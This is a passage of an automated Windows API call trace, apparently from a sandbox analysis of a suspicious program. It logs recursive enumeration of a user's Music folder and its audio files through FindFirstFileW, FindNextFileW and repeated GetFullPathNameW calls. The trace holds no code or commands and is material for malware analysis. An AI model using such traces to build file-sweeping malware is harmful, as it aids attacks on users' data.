ftCreationTime.dwHighDateTime=0x1d5e464, ftLastAccessTime.dwLowDateTime=0x46756530, ftLastAccessTime.dwHighDateTime=0x1d5daa7, ftLastWriteTime.dwLowDateTime=0x46756530, ftLastWriteTime.dwHighDateTime=0x1d5daa7, nFileSizeHigh=0x0, nFileSizeLow=0x10615, dwReserved0=0x0, dwReserved1=0x0, cFileName="8Rx3lE4KyaOY9LfCz.m4a", cAlternateFileName="8RX3LE~1.M4A")) returned 1 [0080.393] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7b4f640, ftCreationTime.dwHighDateTime=0x1d5e78e, ftLastAccessTime.dwLowDateTime=0x959cdbe0, ftLastAccessTime.dwHighDateTime=0x1d5e333, ftLastWriteTime.dwLowDateTime=0x959cdbe0, ftLastWriteTime.dwHighDateTime=0x1d5e333, nFileSizeHigh=0x0, nFileSizeLow=0x130be, dwReserved0=0x0, dwReserved1=0x0, cFileName="eofS.m4a", cAlternateFileName="")) returned 1 [0080.393] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1eef340, ftCreationTime.dwHighDateTime=0x1d5de71, ftLastAccessTime.dwLowDateTime=0xd5c2d90, ftLastAccessTime.dwHighDateTime=0x1d5dbc6, ftLastWriteTime.dwLowDateTime=0xd5c2d90, ftLastWriteTime.dwHighDateTime=0x1d5dbc6, nFileSizeHigh=0x0, nFileSizeLow=0x741b, dwReserved0=0x0, dwReserved1=0x0, cFileName="O5p4fAi9h.m4a", cAlternateFileName="O5P4FA~1.M4A")) returned 1 [0080.393] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73440330, ftCreationTime.dwHighDateTime=0x1d5d82e, ftLastAccessTime.dwLowDateTime=0x83ad20a0, ftLastAccessTime.dwHighDateTime=0x1d5ddb8, ftLastWriteTime.dwLowDateTime=0x83ad20a0, ftLastWriteTime.dwHighDateTime=0x1d5ddb8, nFileSizeHigh=0x0, nFileSizeLow=0x14f3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="OmrQctYxAITAjTrLzd.m4a", cAlternateFileName="OMRQCT~1.M4A")) returned 1 [0080.393] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd69d4200, ftCreationTime.dwHighDateTime=0x1d5e429, ftLastAccessTime.dwLowDateTime=0xa82bc50, ftLastAccessTime.dwHighDateTime=0x1d5e78e, ftLastWriteTime.dwLowDateTime=0xa82bc50, ftLastWriteTime.dwHighDateTime=0x1d5e78e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wn2cZNlPYn25ASry0", cAlternateFileName="WN2CZN~1")) returned 1 [0080.393] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0", lpFilePart=0x0) returned 0x3e [0080.393] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0", lpFilePart=0x0) returned 0x3e [0080.393] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0", lpFilePart=0x0) returned 0x3e [0080.394] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0", lpFilePart=0x0) returned 0x3e [0080.394] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0", lpFilePart=0x0) returned 0x3e [0080.394] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0", lpFilePart=0x0) returned 0x3e [0080.394] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0", lpFilePart=0x0) returned 0x3e [0080.394] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0", lpFilePart=0x0) returned 0x3e [0080.394] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0", lpFilePart=0x0) returned 0x3e [0080.394] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0", lpFilePart=0x0) returned 0x3e [0080.394] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0", lpFilePart=0x0) returned 0x3e [0080.394] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0", lpFilePart=0x0) returned 0x3e [0080.394] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0", lpFilePart=0x0) returned 0x3e [0080.394] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0", lpFilePart=0x0) returned 0x3e [0080.394] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0", lpFilePart=0x0) returned 0x3e [0080.394] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0", lpFilePart=0x0) returned 0x3e [0080.395] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0", lpFilePart=0x0) returned 0x3e [0080.395] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0", lpFilePart=0x0) returned 0x3e [0080.395] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0", lpFilePart=0x0) returned 0x3e [0080.395] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0", lpFilePart=0x0) returned 0x3e [0080.395] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0", lpFilePart=0x0) returned 0x3e [0080.395] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0", lpFilePart=0x0) returned 0x3e [0080.395] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e8a0) returned 1 [0080.395] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0", nBufferLength=0x105, lpBuffer=0x1ca2e390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0", lpFilePart=0x0) returned 0x3e [0080.395] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\", nBufferLength=0x105, lpBuffer=0x1ca2e330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\", lpFilePart=0x0) returned 0x3f [0080.395] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\*", lpFindFileData=0x1ca2e540 | out: lpFindFileData=0x1ca2e540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd69d4200, ftCreationTime.dwHighDateTime=0x1d5e429, ftLastAccessTime.dwLowDateTime=0xa82bc50, ftLastAccessTime.dwHighDateTime=0x1d5e78e, ftLastWriteTime.dwLowDateTime=0xa82bc50, ftLastWriteTime.dwHighDateTime=0x1d5e78e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a62a830 [0080.396] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd69d4200, ftCreationTime.dwHighDateTime=0x1d5e429, ftLastAccessTime.dwLowDateTime=0xa82bc50, ftLastAccessTime.dwHighDateTime=0x1d5e78e, ftLastWriteTime.dwLowDateTime=0xa82bc50, ftLastWriteTime.dwHighDateTime=0x1d5e78e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.396] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19565750, ftCreationTime.dwHighDateTime=0x1d5df0f, ftLastAccessTime.dwLowDateTime=0xd16d34d0, ftLastAccessTime.dwHighDateTime=0x1d5e0c2, ftLastWriteTime.dwLowDateTime=0xd16d34d0, ftLastWriteTime.dwHighDateTime=0x1d5e0c2, nFileSizeHigh=0x0, nFileSizeLow=0x10696, dwReserved0=0x0, dwReserved1=0x0, cFileName="3M3Zcw-gFcWJQoeGJTO.wav", cAlternateFileName="3M3ZCW~1.WAV")) returned 1 [0080.396] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe781da60, ftCreationTime.dwHighDateTime=0x1d5dfd6, ftLastAccessTime.dwLowDateTime=0x16bb4880, ftLastAccessTime.dwHighDateTime=0x1d5e7bf, ftLastWriteTime.dwLowDateTime=0x16bb4880, ftLastWriteTime.dwHighDateTime=0x1d5e7bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="9TqVSR o_-cXQW_J", cAlternateFileName="9TQVSR~1")) returned 1 [0080.396] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J", lpFilePart=0x0) returned 0x4f [0080.396] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J", lpFilePart=0x0) returned 0x4f [0080.396] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J", lpFilePart=0x0) returned 0x4f [0080.396] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J", lpFilePart=0x0) returned 0x4f [0080.396] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J", lpFilePart=0x0) returned 0x4f [0080.397] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J", lpFilePart=0x0) returned 0x4f [0080.397] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J", lpFilePart=0x0) returned 0x4f [0080.397] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J", lpFilePart=0x0) returned 0x4f [0080.397] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J", lpFilePart=0x0) returned 0x4f [0080.397] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J", lpFilePart=0x0) returned 0x4f [0080.397] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J", lpFilePart=0x0) returned 0x4f [0080.397] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J", lpFilePart=0x0) returned 0x4f [0080.397] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J", lpFilePart=0x0) returned 0x4f [0080.397] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J", lpFilePart=0x0) returned 0x4f [0080.397] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J", lpFilePart=0x0) returned 0x4f [0080.397] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J", lpFilePart=0x0) returned 0x4f [0080.397] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J", lpFilePart=0x0) returned 0x4f [0080.397] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J", lpFilePart=0x0) returned 0x4f [0080.398] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J", lpFilePart=0x0) returned 0x4f [0080.398] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J", lpFilePart=0x0) returned 0x4f [0080.398] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J", lpFilePart=0x0) returned 0x4f [0080.398] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J", lpFilePart=0x0) returned 0x4f [0080.398] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e840) returned 1 [0080.398] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J", nBufferLength=0x105, lpBuffer=0x1ca2e330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J", lpFilePart=0x0) returned 0x4f [0080.398] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\", nBufferLength=0x105, lpBuffer=0x1ca2e2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\", lpFilePart=0x0) returned 0x50 [0080.398] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\*", lpFindFileData=0x1ca2e4e0 | out: lpFindFileData=0x1ca2e4e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe781da60, ftCreationTime.dwHighDateTime=0x1d5dfd6, ftLastAccessTime.dwLowDateTime=0x16bb4880, ftLastAccessTime.dwHighDateTime=0x1d5e7bf, ftLastWriteTime.dwLowDateTime=0x16bb4880, ftLastWriteTime.dwHighDateTime=0x1d5e7bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a62a890 [0080.398] FindNextFileW (in: hFindFile=0x1a62a890, lpFindFileData=0x1ca2e5c0 | out: lpFindFileData=0x1ca2e5c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe781da60, ftCreationTime.dwHighDateTime=0x1d5dfd6, ftLastAccessTime.dwLowDateTime=0x16bb4880, ftLastAccessTime.dwHighDateTime=0x1d5e7bf, ftLastWriteTime.dwLowDateTime=0x16bb4880, ftLastWriteTime.dwHighDateTime=0x1d5e7bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.399] FindNextFileW (in: hFindFile=0x1a62a890, lpFindFileData=0x1ca2e5c0 | out: lpFindFileData=0x1ca2e5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8692a80, ftCreationTime.dwHighDateTime=0x1d5e068, ftLastAccessTime.dwLowDateTime=0x1c0a7670, ftLastAccessTime.dwHighDateTime=0x1d5dc80, ftLastWriteTime.dwLowDateTime=0x1c0a7670, ftLastWriteTime.dwHighDateTime=0x1d5dc80, nFileSizeHigh=0x0, nFileSizeLow=0x6255, dwReserved0=0x0, dwReserved1=0x0, cFileName="aKSBMOEG.wav", cAlternateFileName="")) returned 1 [0080.399] FindNextFileW (in: hFindFile=0x1a62a890, lpFindFileData=0x1ca2e5c0 | out: 